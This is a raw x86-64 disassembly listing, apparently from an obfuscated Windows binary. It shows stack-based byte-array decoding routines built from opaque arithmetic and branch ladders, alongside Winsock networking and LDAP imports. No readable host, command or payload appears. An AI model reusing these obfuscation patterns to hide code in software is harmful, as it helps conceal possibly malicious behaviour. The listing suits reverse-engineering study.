lea edx, [rdi - 0x6a]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
jmp 0x1400c441b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c435d
movzx edi, bl
lea edx, [rdi - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
jmp 0x1400c43d5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c4387
lea ecx, [rbx - 0x40]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
dec rbx
inc rbx
jmp 0x1400c3b73
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c3fb7
lea ecx, [rbx - 0x3c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
inc r9
dec rbx
inc rbx
jmp 0x1400c3b73
movzx edi, bl
lea edx, [rdi - 0x30]
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rbx + 0x510]
sub cl, al
add cl, 0x28
lea r10d, [rcx + rcx]
add r10b, dl
sub dil, 0x2e
movzx eax, dil
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x510], cl
add r8, r9
jmp 0x1400c4554
movzx edi, bl
lea edx, [rdi - 0x2c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
sub dil, 0x2a
movzx eax, dil
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x510], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400c4466
lea edx, [rbx + 0x4a]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 6
add r10b, dl
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x510], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x3e]
mov ecx, Ordinal_41
jmp 0x1400c4528
lea ecx, [rbx + 0x36]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
dec rbx
inc rbx
jmp 0x1400c3b73
movzx edi, bl
lea edx, [rdi + 0x2e]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
add r10b, dl
sub dil, 0x32
movzx eax, dil
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
mov byte [rbp + rbx + 0x510], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x16]
mov ecx, 0x33
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400c4554
lea rcx, [rbx + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x7e
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c3b73
lea rcx, [rbx + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x2a
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
add bl, 0xa
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x46
jmp 0x1400c3b70
add bl, 6
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x2a
jmp 0x1400c3b62
lea rdx, [rbp + 0x1642a68]
jmp 0x1400c45e7
lea rdx, [rbp + 0x111c56a]
jmp 0x1400c45e7
lea rdx, [rbp + 0x510]
mov rcx, rsi
call fcn.140064200
mov byte [rbp + 0x150], 0xde
mov byte [rbp + 0x151], 0x68
mov byte [rbp + 0x152], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x153], listen
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x154], xmm0
mov qword [rbp + 0x164], rax
mov dword [rbp + 0x16c], eax
mov byte [rbp + 0x170], al
movabs rsi, 0x43b803b42ab17a2d
movabs r15, 0xda0819ed2ada573b
movabs r14, 0xcb280b1c80146e87
movzx ebx, byte [rsp + 0x30]
nop dword [rax]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
mov r11, r13
cmp r11, 0x21
jae 0x1400c5131
movzx r10d, byte [rbp + r11 + 0x150]
mov rdx, r10
nop dword [rax]
cmp r9, r11
ja 0x1400c5129
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400c46a6
lea rbx, [r11 + rsi]
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x1400c46d3
je 0x1400c50bf
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400c5039
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400c5009
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400c4fc4
cmp r8, r11
ja 0x1400c5121
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x1400c46fc
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x29
jmp 0x1400c4740
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400c4faa
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400c4f6d
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400c4f53
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400c4f39
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400c4f1f
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400c4c86
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400c4c67
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400c4c40
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x1400c4c1f
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400c4bfe
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x1400c4be3
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400c4bc5
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x1400c4ba9
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1400c4b8b
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400c4b5e
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400c4750
lea r9, [r8 + 9]
lea r8, [r9 + 0x28]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1400c5105
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400c50e9
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x1400c4922
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x1400c4908
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400c48ee
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400c4b13
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400c4acc
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400c4a8c
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x1400c4a66
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400c4750
lea r9, [r8 + 8]
lea r8, [r9 + 2]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400c4a39
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400c4a1d
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400c49ff
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x1400c49e4
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400c49c6
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400c49a6
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400c4982
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400c495e
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400c493c
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400c4750
lea r9, [r8 + 0x7a]
lea r8, [r9 + 1]
jmp 0x1400c4750
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 9
jmp 0x1400c4740
lea ecx, [r11 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x6d
jmp 0x1400c46d3
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1d
jmp 0x1400c4676
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx edi, r11b
jmp 0x1400c4fdc
lea ecx, [r11 + 0x2e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x42
inc r8
dec r11
inc r11
jmp 0x1400c4663
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1400c4663
lea edx, [r11 + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x56
add bl, dl
movzx edi, r11b
jmp 0x1400c4f85
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c501e
lea ecx, [r11 - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x6a
jmp 0x1400c5021
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c5050
lea edx, [r11 + 0x12]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7e
add bl, dl
jmp 0x1400c5078
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 8
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
lea ecx, [r11 - 0x29]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x1f
mov byte [rbp + r11 + 0x150], bl
inc r11
jmp 0x1400c4663
lea edx, [r11 + 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6b
add bl, dl
cmp r8, 5
jb 0x1400c4a7c
movzx edi, r11b
lea edx, [rdi - 0x12]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 4]
jmp 0x1400c4fdc
lea edx, [r11 + 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0xb
add bl, dl
cmp r9, 0x64
jae 0x1400c4ed6
lea rax, [r8 + 0x10]
cmp r9, rax
jbe 0x1400c4e4d
lea edx, [r11 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c4aa1
lea edx, [r11 - 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7f
add bl, dl
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x1400c4efb
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x1400c4db0
lea edx, [r11 - 0x47]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0xf
jmp 0x1400c4ae1
lea ecx, [r11 + 0x26]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0xa
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c5078
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1e
add bl, dl
jmp 0x1400c5050
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c5021
lea ecx, [r11 - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x32
jmp 0x1400c501e
movzx edi, r11b
lea edx, [rdi + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c4f85
lea ecx, [r11 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x46
dec r11
inc r11
jmp 0x1400c4663
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r8
dec r11
inc r11
jmp 0x1400c4663
movzx edi, r11b
lea edx, [rdi + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5a
add bl, dl
jmp 0x1400c4fdc
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x1400c4cac
lea edx, [r11 + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x3b
jmp 0x1400c4b28
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x1400c4ce5
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400c4d09
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x10
jmp 0x1400c5021
lea rax, [rcx + 1]
cmp r9, rax
jne 0x1400c4d30
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c501e
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400c4d5a
movzx edi, r11b
lea edx, [rdi + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c4f85
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400c4d84
lea ecx, [r11 + 0x7e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x72
dec r11
inc r11
jmp 0x1400c4663
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400c4b2a
movzx edi, r11b
lea edx, [rdi + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1400c4fdc
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400c4dd8
movzx edi, r11b
lea edx, [rdi + 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x7b
add bl, dl
jmp 0x1400c4fdc
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400c4e00
movzx edi, r11b
lea edx, [rdi + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x19
add bl, dl
jmp 0x1400c4f85
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400c4e24
lea ecx, [r11 + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5d
jmp 0x1400c501e
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400c4ae3
lea edx, [r11 - 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x41
add bl, dl
jmp 0x1400c5078
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400c4e83
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5c
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400c4ea8
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x48
add bl, dl
jmp 0x1400c5050
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400c4aa3
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x20
dec r11
inc r11
jmp 0x1400c4663
movzx edi, r11b
lea edx, [rdi + 0x48]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x150]
sub cl, al
add cl, 4
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c4f85
lea edx, [r11 - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, byte [rbp + r11 + 0x150]
sub bl, 0x6e
add bl, dl
jmp 0x1400c5050
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x11
jmp 0x1400c5050
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x65
jmp 0x1400c5021
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x25
jmp 0x1400c501e
movzx edi, r11b
lea ecx, [rdi + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x51
add dil, 0x75
movzx eax, dil
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x33
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x150], cl
jmp 0x1400c501e
movzx edi, r11b
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x4d
jmp 0x1400c4fdc
movzx edi, r11b
lea ecx, [rdi + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x61
add dil, 0x1b
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x43
add dil, r10b
mov byte [rbp + r11 + 0x150], dil
inc r8
dec r11
inc r11
jmp 0x1400c4663
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x77
add r9, r8
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c4663
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, 0x63
add bl, cl
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x57
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x150], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x150], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x4f
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400c4663
add r11b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x59
jmp 0x1400c4660
add r11b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x31
jmp 0x1400c4650
mov eax, dword [rbp + 0x17e178c]
jmp 0x1400c5137
mov eax, dword [rbp + 0xaf91b9]
jmp 0x1400c5137
mov eax, dword [rbp + 0x150]
cdqe
mov qword [rbp - 0x78], rax
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x70]
call fcn.14005a1a0
mov rcx, rax
call fcn.14005a210
xor eax, eax
mov rcx, qword [rbp + 0xb10]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0xc20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x560], 0x76
mov byte [rbp + 0x561], 0x90
mov byte [rbp + 0x562], 0xab
mov byte [rbp + 0x563], 0xaf
mov byte [rbp + 0x564], __WSAFDIsSet
mov byte [rbp + 0x565], __WSAFDIsSet
mov byte [rbp + 0x566], 0x56
mov byte [rbp + 0x567], 0xa3
mov byte [rbp + 0x568], 0xb7
mov byte [rbp + 0x569], Ordinal_79
mov byte [rbp + 0x56a], Ordinal_143
mov byte [rbp + 0x56b], 0xb2
mov byte [rbp + 0x56c], 0xb2
mov byte [rbp + 0x56d], Ordinal_143
mov byte [rbp + 0x56e], Ordinal_79
mov byte [rbp + 0x56f], WSAGetLastError
mov byte [rbp + 0x570], 0x81
mov byte [rbp + 0x571], 0xb5
mov byte [rbp + 0x572], 0x83
mov byte [rbp + 0x573], 0x9e
mov byte [rbp + 0x574], 0xbb
mov byte [rbp + 0x575], 0x81
mov byte [rbp + 0x576], 0x83
mov byte [rbp + 0x577], 0xbb
mov byte [rbp + 0x578], 0x47
mov byte [rbp + 0x579], 0xaf
mov byte [rbp + 0x57a], 0x83
mov byte [rbp + 0x57b], 0x88
mov byte [rbp + 0x57c], Ordinal_143
mov byte [rbp + 0x57d], 0xbc
mov byte [rbp + 0x57e], 0x82
mov byte [rbp + 0x57f], 0x5a
mov byte [rbp + 0x580], Ordinal_143
mov byte [rbp + 0x581], 0xb6
mov byte [rbp + 0x582], Ordinal_143
mov byte [rbp + 0x583], Ordinal_143
mov byte [rbp + 0x584], 0xb1
mov byte [rbp + 0x585], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x586], WSAGetLastError
mov byte [rbp + 0x587], reloc.WS2_32.dll_socket
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x588], xmm0
mov qword [rbp + 0x598], rax
mov word [rbp + 0x5a0], ax
mov byte [rbp + 0x5a2], al
movabs rsi, 0x9bd2ed39d83a0788
movabs r15, 0x42c47c94e99634b8
movabs r12, 0xb1ea221392225a8
movabs r14, 0xd378c7ad88ae1698
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rbx, r13
cmp rbx, 0x43
jae 0x1400c5d84
movzx r10d, byte [rbp + rbx + 0x560]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x1400c5d7b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c534c
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
add r11b, 0x48
jmp 0x1400c5385
je 0x1400c5d0e
inc rax
cmp r8, rax
je 0x1400c5caf
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5c69
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5c12
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c5bc8
cmp r9, rbx
ja 0x1400c5d72
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400c53ae
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x1400c53f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5bbb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5b9b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5b7c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5b62
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c5b37
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c58aa
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c588d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c5867
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c5842
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c5937
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c5823
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c5809
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c57ea
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c57d0
lea r8, [r9 + 8]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c5d58
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c5d39
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c55bc
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c55a2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c5583
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c578d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c573d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c56ff
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c56d5
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c56aa
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c568b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c5671
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c5652
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c563e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c561d
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c55f8
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c55d6
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c5400
lea r8, [r9 + 0x41]
lea r9, [r8 + 3]
jmp 0x1400c5400
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c53f0
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400c5385
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400c5316
lea edx, [rbx + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edi, bl
jmp 0x1400c5be5
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400c5303
lea edx, [rbx + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
movzx edi, bl
jmp 0x1400c5c2a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
jmp 0x1400c5c4d
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c50
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400c5c83
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5cca
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
